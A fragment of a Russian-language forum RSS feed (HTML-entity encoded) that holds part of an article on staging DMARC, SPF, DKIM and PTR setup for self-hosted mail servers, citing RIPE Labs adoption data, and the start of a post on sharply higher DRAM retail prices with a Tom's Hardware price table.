&#x431;&#x43E;&#x43B;&#x44C;&#x448;&#x438;&#x43D;&#x441;&#x442;&#x432;&#x43E;: 58 064 &#x434;&#x43E;&#x43C;&#x435;&#x43D;&#x430; &#x43F;&#x443;&#x431;&#x43B;&#x438;&#x43A;&#x443;&#x44E;&#x442; &#x440;&#x43E;&#x432;&#x43D;&#x43E; v=DMARC1; p=none;, &#x430; &#x432; &#x446;&#x435;&#x43B;&#x43E;&#x43C; &#x431;&#x43E;&#x43B;&#x44C;&#x448;&#x435; &#x43F;&#x43E;&#x43B;&#x43E;&#x432;&#x438;&#x43D;&#x44B; &#x432;&#x43B;&#x430;&#x434;&#x435;&#x43B;&#x44C;&#x446;&#x435;&#x432; DMARC-&#x437;&#x430;&#x43F;&#x438;&#x441;&#x438; &#x43D;&#x435; &#x442;&#x440;&#x435;&#x431;&#x443;&#x44E;&#x442; &#x43E;&#x442; &#x43F;&#x43E;&#x43B;&#x443;&#x447;&#x430;&#x442;&#x435;&#x43B;&#x435;&#x439; &#x43D;&#x438;&#x447;&#x435;&#x433;&#x43E;. 
&#x427;&#x442;&#x43E; &#x434;&#x435;&#x43B;&#x430;&#x442;&#x44C;. &#x414;&#x432;&#x438;&#x433;&#x430;&#x442;&#x44C;&#x441;&#x44F; &#x441;&#x442;&#x443;&#x43F;&#x435;&#x43D;&#x44F;&#x43C;&#x438;, &#x430; &#x43D;&#x435; &#x43E;&#x434;&#x43D;&#x438;&#x43C; &#x43F;&#x440;&#x44B;&#x436;&#x43A;&#x43E;&#x43C;: 
v=DMARC1; p=none; rua=mailto:dmarc@example.com; pct=100
        v  &#x441;&#x43F;&#x443;&#x441;&#x442;&#x44F; 2-4 &#x43D;&#x435;&#x434;&#x435;&#x43B;&#x438;, &#x43A;&#x43E;&#x433;&#x434;&#x430; &#x432;&#x441;&#x435; &#x438;&#x441;&#x442;&#x43E;&#x447;&#x43D;&#x438;&#x43A;&#x438; &#x43E;&#x43F;&#x43E;&#x437;&#x43D;&#x430;&#x43D;&#x44B;
v=DMARC1; p=quarantine; rua=mailto:dmarc@example.com; pct=25
        v  &#x43F;&#x43E;&#x441;&#x442;&#x435;&#x43F;&#x435;&#x43D;&#x43D;&#x43E; &#x434;&#x43E;&#x432;&#x43E;&#x434;&#x44F; pct &#x434;&#x43E; 100
v=DMARC1; p=reject; rua=mailto:dmarc@example.com; pct=100
&#x26D4; &#x422;&#x430;&#x43A; &#x434;&#x435;&#x43B;&#x430;&#x442;&#x44C; &#x43D;&#x435;&#x43B;&#x44C;&#x437;&#x44F; &#x412;&#x44B;&#x441;&#x442;&#x430;&#x432;&#x43B;&#x44F;&#x442;&#x44C; p=reject &#x441;&#x440;&#x430;&#x437;&#x443;, &#x43D;&#x435; &#x437;&#x430;&#x433;&#x43B;&#x44F;&#x43D;&#x443;&#x432; &#x432; &#x43E;&#x442;&#x447;&#x451;&#x442;&#x44B;, &#x43D;&#x435;&#x43B;&#x44C;&#x437;&#x44F;. &#x412;&#x44B; &#x43F;&#x43E;&#x447;&#x442;&#x438; &#x43D;&#x430;&#x432;&#x435;&#x440;&#x43D;&#x44F;&#x43A;&#x430; &#x43D;&#x435; &#x434;&#x435;&#x440;&#x436;&#x438;&#x442;&#x435; &#x432; &#x433;&#x43E;&#x43B;&#x43E;&#x432;&#x435; &#x432;&#x441;&#x435; &#x441;&#x438;&#x441;&#x442;&#x435;&#x43C;&#x44B;, &#x43E;&#x442;&#x43F;&#x440;&#x430;&#x432;&#x43B;&#x44F;&#x44E;&#x449;&#x438;&#x435; &#x43F;&#x438;&#x441;&#x44C;&#x43C;&#x430; &#x43E;&#x442; &#x432;&#x430;&#x448;&#x435;&#x433;&#x43E; &#x434;&#x43E;&#x43C;&#x435;&#x43D;&#x430;: &#x431;&#x438;&#x43B;&#x43B;&#x438;&#x43D;&#x433;, &#x444;&#x43E;&#x440;&#x43C;&#x430; &#x43E;&#x431;&#x440;&#x430;&#x442;&#x43D;&#x43E;&#x439; &#x441;&#x432;&#x44F;&#x437;&#x438;, &#x43C;&#x43E;&#x43D;&#x438;&#x442;&#x43E;&#x440;&#x438;&#x43D;&#x433;, &#x437;&#x430;&#x431;&#x44B;&#x442;&#x44B;&#x439; &#x441;&#x43A;&#x440;&#x438;&#x43F;&#x442; &#x43D;&#x430; &#x441;&#x43E;&#x441;&#x435;&#x434;&#x43D;&#x435;&#x439; &#x43C;&#x430;&#x448;&#x438;&#x43D;&#x435;. &#x41E;&#x442;&#x431;&#x438;&#x432;&#x430;&#x442;&#x44C;&#x441;&#x44F; &#x43E;&#x43D;&#x438; &#x43D;&#x430;&#x447;&#x43D;&#x443;&#x442; &#x432; &#x442;&#x43E;&#x442; &#x436;&#x435; &#x447;&#x430;&#x441;, &#x430; &#x443;&#x437;&#x43D;&#x430;&#x435;&#x442;&#x435; &#x432;&#x44B; &#x43E;&#x431; &#x44D;&#x442;&#x43E;&#x43C; &#x43E;&#x442; &#x43B;&#x44E;&#x434;&#x435;&#x439;, &#x430; &#x43D;&#x435; &#x438;&#x437; &#x436;&#x443;&#x440;&#x43D;&#x430;&#x43B;&#x43E;&#x432;. 
&#x421;&#x442;&#x430;&#x440;&#x442;&#x43E;&#x432;&#x44B;&#x439; &#x43A;&#x43E;&#x43C;&#x43F;&#x43B;&#x435;&#x43A;&#x442;
&#x421;&#x445;&#x435;&#x43C;&#x430; &#x43D;&#x430; &#x43E;&#x441;&#x43D;&#x43E;&#x432;&#x435; &#x434;&#x430;&#x43D;&#x43D;&#x44B;&#x445; RIPE Labs &#x438; OpenINTEL, &#x441;&#x440;&#x435;&#x437; Tranco top-1M &#x43E;&#x442; 18 &#x438;&#x44E;&#x43B;&#x44F; 2026
&#x2705; &#x41A;&#x430;&#x43A; &#x43F;&#x440;&#x430;&#x432;&#x438;&#x43B;&#x44C;&#x43D;&#x43E; &#x41F;&#x440;&#x43E;&#x432;&#x435;&#x440;&#x438;&#x442;&#x44C;, &#x447;&#x442;&#x43E; &#x445;&#x43E;&#x441;&#x442;&#x435;&#x440; &#x43E;&#x442;&#x434;&#x430;&#x451;&#x442; &#x438;&#x441;&#x445;&#x43E;&#x434;&#x44F;&#x449;&#x438;&#x439; 25-&#x439; &#x43F;&#x43E;&#x440;&#x442; &#x438; &#x43F;&#x440;&#x43E;&#x43F;&#x438;&#x448;&#x435;&#x442; PTR &#x43D;&#x430; &#x432;&#x430;&#x448; &#x434;&#x43E;&#x43C;&#x435;&#x43D;. &#x411;&#x435;&#x437; &#x43E;&#x431;&#x440;&#x430;&#x442;&#x43D;&#x43E;&#x439; &#x437;&#x430;&#x43F;&#x438;&#x441;&#x438; &#x43E;&#x441;&#x442;&#x430;&#x43B;&#x44C;&#x43D;&#x43E;&#x435; &#x442;&#x435;&#x440;&#x44F;&#x435;&#x442; &#x441;&#x43C;&#x44B;&#x441;&#x43B;.&#x41F;&#x43E;&#x434;&#x43D;&#x44F;&#x442;&#x44C; MX &#x438; A/AAAA, &#x434;&#x43E;&#x431;&#x438;&#x442;&#x44C;&#x441;&#x44F; &#x441;&#x43E;&#x432;&#x43F;&#x430;&#x434;&#x435;&#x43D;&#x438;&#x44F; &#x438;&#x43C;&#x435;&#x43D;&#x438; &#x432; PTR, &#x438;&#x43C;&#x435;&#x43D;&#x438; &#x432; MX &#x438; &#x43F;&#x440;&#x435;&#x434;&#x441;&#x442;&#x430;&#x432;&#x43B;&#x435;&#x43D;&#x438;&#x44F; &#x441;&#x435;&#x440;&#x432;&#x435;&#x440;&#x430; &#x432; HELO.SPF &#x441; &#x436;&#x451;&#x441;&#x442;&#x43A;&#x438;&#x43C; &#x43E;&#x43A;&#x43E;&#x43D;&#x447;&#x430;&#x43D;&#x438;&#x435;&#x43C; -all &#x432;&#x43C;&#x435;&#x441;&#x442;&#x43E; ~all &#x2014; &#x43F;&#x43E;&#x441;&#x43B;&#x435; &#x442;&#x43E;&#x433;&#x43E; &#x43A;&#x430;&#x43A; &#x43F;&#x435;&#x440;&#x435;&#x447;&#x438;&#x441;&#x43B;&#x435;&#x43D;&#x44B; &#x432;&#x441;&#x435; &#x438;&#x441;&#x442;&#x43E;&#x447;&#x43D;&#x438;&#x43A;&#x438;.DKIM &#x441; &#x43A;&#x43B;&#x44E;&#x447;&#x43E;&#x43C; &#x43D;&#x435; &#x43A;&#x43E;&#x440;&#x43E;&#x447;&#x435; 1024 &#x431;&#x438;&#x442;, &#x430; &#x43B;&#x443;&#x447;&#x448;&#x435; 2048.DMARC &#x432; &#x440;&#x435;&#x436;&#x438;&#x43C;&#x435; p=none &#x441; &#x440;&#x430;&#x431;&#x43E;&#x442;&#x430;&#x44E;&#x449;&#x438;&#x43C; rua=, &#x443;&#x436;&#x435;&#x441;&#x442;&#x43E;&#x447;&#x435;&#x43D;&#x438;&#x435; &#x43F;&#x43E;&#x437;&#x436;&#x435;.MTA-STS &#x438; TLS-RPT &#x2014; &#x43A;&#x43E;&#x433;&#x434;&#x430; &#x432;&#x441;&#x451; &#x43F;&#x435;&#x440;&#x435;&#x447;&#x438;&#x441;&#x43B;&#x435;&#x43D;&#x43D;&#x43E;&#x435; &#x441;&#x442;&#x430;&#x431;&#x438;&#x43B;&#x44C;&#x43D;&#x43E; &#x440;&#x430;&#x431;&#x43E;&#x442;&#x430;&#x435;&#x442;.
&#x1F512; &#x411;&#x435;&#x437;&#x43E;&#x43F;&#x430;&#x441;&#x43D;&#x43E;&#x441;&#x442;&#x44C; &#x41F;&#x443;&#x43D;&#x43A;&#x442;, &#x43E; &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x43E;&#x43C; &#x432;&#x441;&#x43F;&#x43E;&#x43C;&#x438;&#x43D;&#x430;&#x44E;&#x442; &#x43F;&#x43E;&#x441;&#x43B;&#x435;&#x434;&#x43D;&#x438;&#x43C;: &#x44F;&#x449;&#x438;&#x43A;&#x438; abuse@ &#x438; postmaster@ &#x43E;&#x431;&#x44F;&#x437;&#x430;&#x43D;&#x44B; &#x441;&#x443;&#x449;&#x435;&#x441;&#x442;&#x432;&#x43E;&#x432;&#x430;&#x442;&#x44C; &#x438; &#x447;&#x438;&#x442;&#x430;&#x442;&#x44C;&#x441;&#x44F; &#x436;&#x438;&#x432;&#x44B;&#x43C; &#x447;&#x435;&#x43B;&#x43E;&#x432;&#x435;&#x43A;&#x43E;&#x43C;. &#x42D;&#x442;&#x43E; &#x43D;&#x435; &#x440;&#x438;&#x442;&#x443;&#x430;&#x43B; &#x438;&#x437; RFC &#x2014; &#x438;&#x43C;&#x435;&#x43D;&#x43D;&#x43E; &#x442;&#x443;&#x434;&#x430; &#x43F;&#x440;&#x438;&#x445;&#x43E;&#x434;&#x438;&#x442; &#x443;&#x432;&#x435;&#x434;&#x43E;&#x43C;&#x43B;&#x435;&#x43D;&#x438;&#x435; &#x43E; &#x442;&#x43E;&#x43C;, &#x447;&#x442;&#x43E; &#x441; &#x432;&#x430;&#x448;&#x435;&#x433;&#x43E; &#x430;&#x434;&#x440;&#x435;&#x441;&#x430; &#x43F;&#x43E;&#x448;&#x451;&#x43B; &#x441;&#x43F;&#x430;&#x43C;, &#x438; &#x438;&#x43C;&#x435;&#x43D;&#x43D;&#x43E; &#x442;&#x438;&#x448;&#x438;&#x43D;&#x430; &#x432; &#x43E;&#x442;&#x432;&#x435;&#x442; &#x43F;&#x435;&#x440;&#x435;&#x432;&#x43E;&#x434;&#x438;&#x442; &#x434;&#x43E;&#x43C;&#x435;&#x43D; &#x438;&#x437; &#x43A;&#x430;&#x442;&#x435;&#x433;&#x43E;&#x440;&#x438;&#x438; &#xAB;&#x440;&#x430;&#x437;&#x431;&#x438;&#x440;&#x430;&#x44E;&#x442;&#x441;&#x44F;&#xBB; &#x432; &#x43A;&#x430;&#x442;&#x435;&#x433;&#x43E;&#x440;&#x438;&#x44E; &#xAB;&#x431;&#x43B;&#x43E;&#x43A;&#x438;&#x440;&#x443;&#x435;&#x43C;&#xBB;. 
&#x412;&#x44B;&#x432;&#x43E;&#x434;, &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x44B;&#x439; &#x441;&#x43B;&#x435;&#x434;&#x443;&#x435;&#x442; &#x438;&#x437; &#x446;&#x438;&#x444;&#x440;
&#x418;&#x441;&#x441;&#x43B;&#x435;&#x434;&#x43E;&#x432;&#x430;&#x43D;&#x438;&#x435; RIPE Labs &#x43D;&#x435; &#x43F;&#x440;&#x438;&#x437;&#x44B;&#x432;&#x430;&#x435;&#x442; &#x43E;&#x442;&#x43A;&#x430;&#x437;&#x430;&#x442;&#x44C;&#x441;&#x44F; &#x43E;&#x442; &#x441;&#x43E;&#x431;&#x441;&#x442;&#x432;&#x435;&#x43D;&#x43D;&#x43E;&#x433;&#x43E; &#x43F;&#x43E;&#x447;&#x442;&#x43E;&#x432;&#x43E;&#x433;&#x43E; &#x441;&#x435;&#x440;&#x432;&#x435;&#x440;&#x430;. &#x41E;&#x43D;&#x43E; &#x444;&#x438;&#x43A;&#x441;&#x438;&#x440;&#x443;&#x435;&#x442; &#x434;&#x440;&#x443;&#x433;&#x43E;&#x435;: &#x437;&#x430; &#x434;&#x435;&#x441;&#x44F;&#x442;&#x438;&#x43B;&#x435;&#x442;&#x438;&#x435; &#x43F;&#x43B;&#x430;&#x43D;&#x43A;&#x430; &#x442;&#x440;&#x435;&#x431;&#x43E;&#x432;&#x430;&#x43D;&#x438;&#x439; &#x43A; &#x43E;&#x442;&#x43F;&#x440;&#x430;&#x432;&#x438;&#x442;&#x435;&#x43B;&#x44E; &#x43F;&#x43E;&#x434;&#x43D;&#x44F;&#x43B;&#x430;&#x441;&#x44C; &#x43D;&#x430;&#x441;&#x442;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E;, &#x447;&#x442;&#x43E; &#x43F;&#x43E;&#x43B;&#x43E;&#x432;&#x438;&#x43D;&#x430; &#x432;&#x43B;&#x430;&#x434;&#x435;&#x43B;&#x44C;&#x446;&#x435;&#x432; &#x434;&#x43E;&#x43C;&#x435;&#x43D;&#x43E;&#x432; &#x43F;&#x440;&#x435;&#x434;&#x43F;&#x43E;&#x447;&#x43B;&#x430; &#x43E;&#x442;&#x434;&#x430;&#x442;&#x44C; &#x44D;&#x442;&#x443; &#x440;&#x430;&#x431;&#x43E;&#x442;&#x443; &#x43D;&#x430;&#x440;&#x443;&#x436;&#x443;, &#x430; &#x438;&#x437; &#x43D;&#x430;&#x441;&#x442;&#x440;&#x43E;&#x438;&#x432;&#x448;&#x438;&#x445; DMARC &#x431;&#x43E;&#x43B;&#x44C;&#x448;&#x435; &#x43F;&#x43E;&#x43B;&#x43E;&#x432;&#x438;&#x43D;&#x44B; &#x442;&#x430;&#x43A; &#x438; &#x43D;&#x435; &#x440;&#x435;&#x448;&#x438;&#x43B;&#x438;&#x441;&#x44C; &#x435;&#x433;&#x43E; &#x432;&#x43A;&#x43B;&#x44E;&#x447;&#x438;&#x442;&#x44C;. 
&#x415;&#x441;&#x442;&#x44C; &#x432;&#x440;&#x435;&#x43C;&#x44F; &#x447;&#x438;&#x442;&#x430;&#x442;&#x44C; &#x43E;&#x442;&#x447;&#x451;&#x442;&#x44B; &#x438; &#x441;&#x43B;&#x435;&#x434;&#x438;&#x442;&#x44C; &#x437;&#x430; &#x440;&#x435;&#x43F;&#x443;&#x442;&#x430;&#x446;&#x438;&#x435;&#x439; &#x2014; &#x441;&#x432;&#x43E;&#x439; &#x441;&#x435;&#x440;&#x432;&#x435;&#x440; &#x440;&#x430;&#x431;&#x43E;&#x442;&#x430;&#x435;&#x442; &#x43D;&#x43E;&#x440;&#x43C;&#x430;&#x43B;&#x44C;&#x43D;&#x43E;. &#x41F;&#x43E;&#x434;&#x43D;&#x44F;&#x442; &#x43F;&#x43E; &#x43F;&#x440;&#x438;&#x43D;&#x446;&#x438;&#x43F;&#x443; &#xAB;&#x43D;&#x430;&#x441;&#x442;&#x440;&#x43E;&#x438;&#x43B; &#x438; &#x437;&#x430;&#x431;&#x44B;&#x43B;&#xBB; &#x2014; &#x43F;&#x438;&#x441;&#x44C;&#x43C;&#x430; &#x43D;&#x430;&#x447;&#x43D;&#x443;&#x442; &#x43F;&#x440;&#x43E;&#x43F;&#x430;&#x434;&#x430;&#x442;&#x44C; &#x43D;&#x435; &#x437;&#x430;&#x432;&#x442;&#x440;&#x430;, &#x430; &#x447;&#x435;&#x440;&#x435;&#x437; &#x43D;&#x435;&#x441;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x43C;&#x435;&#x441;&#x44F;&#x446;&#x435;&#x432;, &#x438; &#x432;&#x43E;&#x441;&#x441;&#x442;&#x430;&#x43D;&#x43E;&#x432;&#x438;&#x442;&#x44C; &#x43C;&#x43E;&#x43C;&#x435;&#x43D;&#x442; &#x43F;&#x43E;&#x43B;&#x43E;&#x43C;&#x43A;&#x438; &#x431;&#x443;&#x434;&#x435;&#x442; &#x443;&#x436;&#x435; &#x442;&#x440;&#x443;&#x434;&#x43D;&#x43E;. 
&#x1F4AC; &#x412;&#x43E;&#x43F;&#x440;&#x43E;&#x441; &#x43A; &#x441;&#x43E;&#x43E;&#x431;&#x449;&#x435;&#x441;&#x442;&#x432;&#x443; &#x423; &#x43A;&#x43E;&#x433;&#x43E; &#x441;&#x435;&#x439;&#x447;&#x430;&#x441; &#x43A;&#x440;&#x443;&#x442;&#x438;&#x442;&#x441;&#x44F; &#x441;&#x43E;&#x431;&#x441;&#x442;&#x432;&#x435;&#x43D;&#x43D;&#x44B;&#x439; &#x43F;&#x43E;&#x447;&#x442;&#x43E;&#x432;&#x44B;&#x439; &#x443;&#x437;&#x435;&#x43B; &#x2014; &#x441;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x432;&#x440;&#x435;&#x43C;&#x435;&#x43D;&#x438; &#x432; &#x43C;&#x435;&#x441;&#x44F;&#x446; &#x43E;&#x43D; &#x441;&#x44A;&#x435;&#x434;&#x430;&#x435;&#x442; &#x438; &#x43A;&#x430;&#x43A;&#x43E;&#x439; &#x441;&#x431;&#x43E;&#x439; &#x434;&#x43E;&#x441;&#x442;&#x430;&#x432;&#x43B;&#x44F;&#x435;&#x43C;&#x43E;&#x441;&#x442;&#x438; &#x43E;&#x43A;&#x430;&#x437;&#x430;&#x43B;&#x441;&#x44F; &#x441;&#x430;&#x43C;&#x44B;&#x43C; &#x43D;&#x435;&#x43E;&#x447;&#x435;&#x432;&#x438;&#x434;&#x43D;&#x44B;&#x43C;? &#x418; &#x432;&#x43E;&#x43F;&#x440;&#x43E;&#x441; &#x43A; &#x442;&#x435;&#x43C;, &#x43A;&#x442;&#x43E; &#x441;&#x44A;&#x435;&#x445;&#x430;&#x43B; &#x43D;&#x430; Google &#x438;&#x43B;&#x438; Microsoft: &#x447;&#x442;&#x43E; &#x441;&#x442;&#x430;&#x43B;&#x43E; &#x43F;&#x43E;&#x441;&#x43B;&#x435;&#x434;&#x43D;&#x435;&#x439; &#x43A;&#x430;&#x43F;&#x43B;&#x435;&#x439;? 

&#x418;&#x441;&#x442;&#x43E;&#x447;&#x43D;&#x438;&#x43A;&#x438;
RIPE Labs &#x2014; Two Providers, a Stubborn Plateau, and a Very Long Tail: Email in the Tranco Top 1M, 30.07.2026Google &#x2014; Email sender guidelinesMicrosoft Tech Community &#x2014; Outlook's New Requirements for High-Volume SendersHetzner Docs &#x2014; Cloud Servers FAQ</description><pubDate>Wed, 19 Aug 2026 05:29:06 +0000</pubDate></item><item><title>&#x41F;&#x430;&#x43C;&#x44F;&#x442;&#x44C; &#x434;&#x43E;&#x433;&#x43E;&#x43D;&#x44F;&#x435;&#x442; &#x437;&#x43E;&#x43B;&#x43E;&#x442;&#x43E;: &#x43A;&#x430;&#x43A; &#x43F;&#x435;&#x440;&#x435;&#x441;&#x447;&#x438;&#x442;&#x430;&#x442;&#x44C; &#x43F;&#x43B;&#x430;&#x43D;&#x44B; &#x43D;&#x430; &#x434;&#x43E;&#x43C;&#x430;&#x448;&#x43D;&#x438;&#x439; &#x441;&#x435;&#x440;&#x432;&#x435;&#x440;</title><link><![CDATA[https://openode.xyz/topic/2047-%D0%BF%D0%B0%D0%BC%D1%8F%D1%82%D1%8C-%D0%B4%D0%BE%D0%B3%D0%BE%D0%BD%D1%8F%D0%B5%D1%82-%D0%B7%D0%BE%D0%BB%D0%BE%D1%82%D0%BE-%D0%BA%D0%B0%D0%BA-%D0%BF%D0%B5%D1%80%D0%B5%D1%81%D1%87%D0%B8%D1%82%D0%B0%D1%82%D1%8C-%D0%BF%D0%BB%D0%B0%D0%BD%D1%8B-%D0%BD%D0%B0-%D0%B4%D0%BE%D0%BC%D0%B0%D1%88%D0%BD%D0%B8%D0%B9-%D1%81%D0%B5%D1%80%D0%B2%D0%B5%D1%80/?do=findComment&comment=9217]]></link><description>&#x420;&#x43E;&#x437;&#x43D;&#x438;&#x447;&#x43D;&#x44B;&#x435; &#x446;&#x435;&#x43D;&#x44B; &#x43D;&#x430; &#x43F;&#x430;&#x43C;&#x44F;&#x442;&#x44C; &#x437;&#x430; &#x433;&#x43E;&#x434; &#x432;&#x44B;&#x440;&#x43E;&#x441;&#x43B;&#x438; &#x432; &#x440;&#x430;&#x437;&#x44B; &#x2014; &#x438; &#x44D;&#x442;&#x43E; &#x443;&#x436;&#x435; &#x432;&#x43B;&#x438;&#x44F;&#x435;&#x442; &#x43D;&#x430; &#x43F;&#x43B;&#x430;&#x43D;&#x44B; &#x43F;&#x43E; &#x434;&#x43E;&#x43C;&#x430;&#x448;&#x43D;&#x438;&#x43C; &#x441;&#x435;&#x440;&#x432;&#x435;&#x440;&#x430;&#x43C;
&#x41E;&#x431;&#x44B;&#x447;&#x43D;&#x430;&#x44F; &#x43F;&#x43B;&#x430;&#x43D;&#x43A;&#x430; &#x43F;&#x430;&#x43C;&#x44F;&#x442;&#x438; &#x43D;&#x435;&#x43E;&#x436;&#x438;&#x434;&#x430;&#x43D;&#x43D;&#x43E; &#x441;&#x442;&#x430;&#x43B;&#x430; &#x431;&#x438;&#x440;&#x436;&#x435;&#x432;&#x44B;&#x43C; &#x442;&#x43E;&#x432;&#x430;&#x440;&#x43E;&#x43C;. &#x424;&#x43E;&#x440;&#x43C;&#x443;&#x43B;&#x438;&#x440;&#x43E;&#x432;&#x43A;&#x430; Tom's Hardware &#x437;&#x432;&#x443;&#x447;&#x438;&#x442; &#x43F;&#x43E;&#x447;&#x442;&#x438; &#x430;&#x43D;&#x435;&#x43A;&#x434;&#x43E;&#x442;&#x438;&#x447;&#x43D;&#x43E;: &#x43C;&#x430;&#x441;&#x441;&#x43E;&#x432;&#x44B;&#x435; &#x43C;&#x438;&#x43A;&#x440;&#x43E;&#x441;&#x445;&#x435;&#x43C;&#x44B; DRAM &#x441;&#x435;&#x433;&#x43E;&#x434;&#x43D;&#x44F; &#x441;&#x442;&#x43E;&#x44F;&#x442; &#x431;&#x43E;&#x43B;&#x44C;&#x448;&#x435; &#x43F;&#x43E;&#x43B;&#x43E;&#x432;&#x438;&#x43D;&#x44B; &#x446;&#x435;&#x43D;&#x44B; &#x437;&#x43E;&#x43B;&#x43E;&#x442;&#x430; &#x432; &#x43F;&#x435;&#x440;&#x435;&#x441;&#x447;&#x451;&#x442;&#x435; &#x43D;&#x430; &#x43A;&#x438;&#x43B;&#x43E;&#x433;&#x440;&#x430;&#x43C;&#x43C;. &#x41F;&#x440;&#x438;&#x447;&#x438;&#x43D;&#x430; &#x443; &#x432;&#x441;&#x435;&#x445; &#x43E;&#x431;&#x437;&#x43E;&#x440;&#x43E;&#x432; &#x43E;&#x434;&#x43D;&#x430; &#x2014; &#x433;&#x438;&#x43F;&#x435;&#x440;&#x441;&#x43A;&#x435;&#x439;&#x43B;&#x435;&#x440;&#x44B; &#x437;&#x430;&#x43A;&#x43E;&#x43D;&#x442;&#x440;&#x430;&#x43A;&#x442;&#x43E;&#x432;&#x430;&#x43B;&#x438; &#x43E;&#x431;&#x44A;&#x451;&#x43C;&#x44B; &#x43F;&#x43E;&#x434; &#x438;&#x43D;&#x444;&#x440;&#x430;&#x441;&#x442;&#x440;&#x443;&#x43A;&#x442;&#x443;&#x440;&#x443; &#x418;&#x418; &#x432;&#x43F;&#x435;&#x440;&#x451;&#x434;, &#x430; &#x440;&#x43E;&#x437;&#x43D;&#x438;&#x446;&#x435; &#x434;&#x43E;&#x441;&#x442;&#x430;&#x451;&#x442;&#x441;&#x44F; &#x442;&#x43E;, &#x447;&#x442;&#x43E; &#x43E;&#x441;&#x442;&#x430;&#x43B;&#x43E;&#x441;&#x44C;. 
&#x414;&#x43B;&#x44F; &#x447;&#x435;&#x43B;&#x43E;&#x432;&#x435;&#x43A;&#x430;, &#x443; &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x43E;&#x433;&#x43E; &#x434;&#x43E;&#x43C;&#x430; &#x441;&#x442;&#x43E;&#x438;&#x442; &#x441;&#x435;&#x440;&#x432;&#x435;&#x440; &#x438;&#x43B;&#x438; &#x430;&#x440;&#x435;&#x43D;&#x434;&#x43E;&#x432;&#x430;&#x43D; VPS, &#x44D;&#x442;&#x43E; &#x443;&#x436;&#x435; &#x43D;&#x435; &#x430;&#x431;&#x441;&#x442;&#x440;&#x430;&#x43A;&#x446;&#x438;&#x44F; &#x43F;&#x440;&#x43E; &#x440;&#x44B;&#x43D;&#x43E;&#x43A;. &#x42D;&#x442;&#x43E; &#x43F;&#x440;&#x43E; &#x442;&#x43E;, &#x447;&#x442;&#x43E; &#x441;&#x43B;&#x435;&#x434;&#x443;&#x44E;&#x449;&#x438;&#x439; &#x430;&#x43F;&#x433;&#x440;&#x435;&#x439;&#x434; &#x43F;&#x440;&#x438;&#x434;&#x451;&#x442;&#x441;&#x44F; &#x441;&#x447;&#x438;&#x442;&#x430;&#x442;&#x44C; &#x437;&#x430;&#x43D;&#x43E;&#x432;&#x43E;. 
&#x41C;&#x430;&#x441;&#x448;&#x442;&#x430;&#x431;: &#x446;&#x438;&#x444;&#x440;&#x44B; &#x437;&#x430; &#x433;&#x43E;&#x434;
&#x414;&#x432;&#x443;&#x43C;&#x44F; &#x43D;&#x435;&#x437;&#x430;&#x432;&#x438;&#x441;&#x438;&#x43C;&#x44B;&#x43C;&#x438; &#x43F;&#x443;&#x431;&#x43B;&#x438;&#x43A;&#x430;&#x446;&#x438;&#x44F;&#x43C;&#x438; &#x43E;&#x442; 17 &#x430;&#x432;&#x433;&#x443;&#x441;&#x442;&#x430; 2026 &#x433;&#x43E;&#x434;&#x430; &#x43F;&#x43E;&#x434;&#x442;&#x432;&#x435;&#x440;&#x436;&#x434;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x43E;&#x434;&#x43D;&#x43E; &#x438; &#x442;&#x43E; &#x436;&#x435;. &#x420;&#x43E;&#x437;&#x43D;&#x438;&#x447;&#x43D;&#x430;&#x44F; &#x441;&#x432;&#x43E;&#x434;&#x43A;&#x430; Tom's Hardware &#x43F;&#x43E; &#x421;&#x428;&#x410;: 
&#x41A;&#x43E;&#x43C;&#x43F;&#x43B;&#x435;&#x43A;&#x442;&#x410;&#x432;&#x433;&#x443;&#x441;&#x442; 2025&#x410;&#x432;&#x433;&#x443;&#x441;&#x442; 2026&#x420;&#x43E;&#x441;&#x442;16 &#x413;&#x411; DDR5-6000$108$572+429 %32 &#x413;&#x411; DDR5-5600$191$1118+485 %64 &#x413;&#x411; DDR5-6000$222$1272+473 %32 &#x413;&#x411; DDR4-3200$222$614+177 %32 &#x413;&#x411; DDR4-3600$300$789+163 %
&#x41F;&#x43E; &#x434;&#x430;&#x43D;&#x43D;&#x44B;&#x43C; Tom's Hardware &#x43E;&#x442; 17.08.2026, &#x440;&#x43E;&#x437;&#x43D;&#x438;&#x447;&#x43D;&#x44B;&#x435; &#x446;&#x435;&#x43D;&#x44B; &#x432; &#x421;&#x428;&#x410;
&#x41E;&#x441;&#x43E;&#x431;&#x43D;&#x44F;&#x43A;&#x43E;&#x43C; &#x441;&#x442;&#x43E;&#x438;&#x442; 128 &#x413;&#x411; DDR5-6400 &#x437;&#x430; 3399 &#x434;&#x43E;&#x43B;&#x43B;&#x430;&#x440;&#x43E;&#x432; &#x2014; &#x43F;&#x440;&#x438;&#x431;&#x43B;&#x438;&#x437;&#x438;&#x442;&#x435;&#x43B;&#x44C;&#x43D;&#x43E; &#x434;&#x435;&#x441;&#x44F;&#x442;&#x438;&#x43A;&#x440;&#x430;&#x442;&#x43D;&#x43E; &#x43A; &#x43C;&#x438;&#x43D;&#x438;&#x43C;&#x430;&#x43B;&#x44C;&#x43D;&#x43E;&#x439; &#x446;&#x435;&#x43D;&#x435;, &#x43A;&#x43E;&#x433;&#x434;&#x430;-&#x43B;&#x438;&#x431;&#x43E; &#x437;&#x430;&#x444;&#x438;&#x43A;&#x441;&#x438;&#x440;&#x43E;&#x432;&#x430;&#x43D;&#x43D;&#x43E;&#x439; &#x434;&#x43B;&#x44F; &#x442;&#x430;&#x43A;&#x43E;&#x433;&#x43E; &#x43E;&#x431;&#x44A;&#x451;&#x43C;&#x430; (329 &#x434;&#x43E;&#x43B;&#x43B;&#x430;&#x440;&#x43E;&#x432;). 
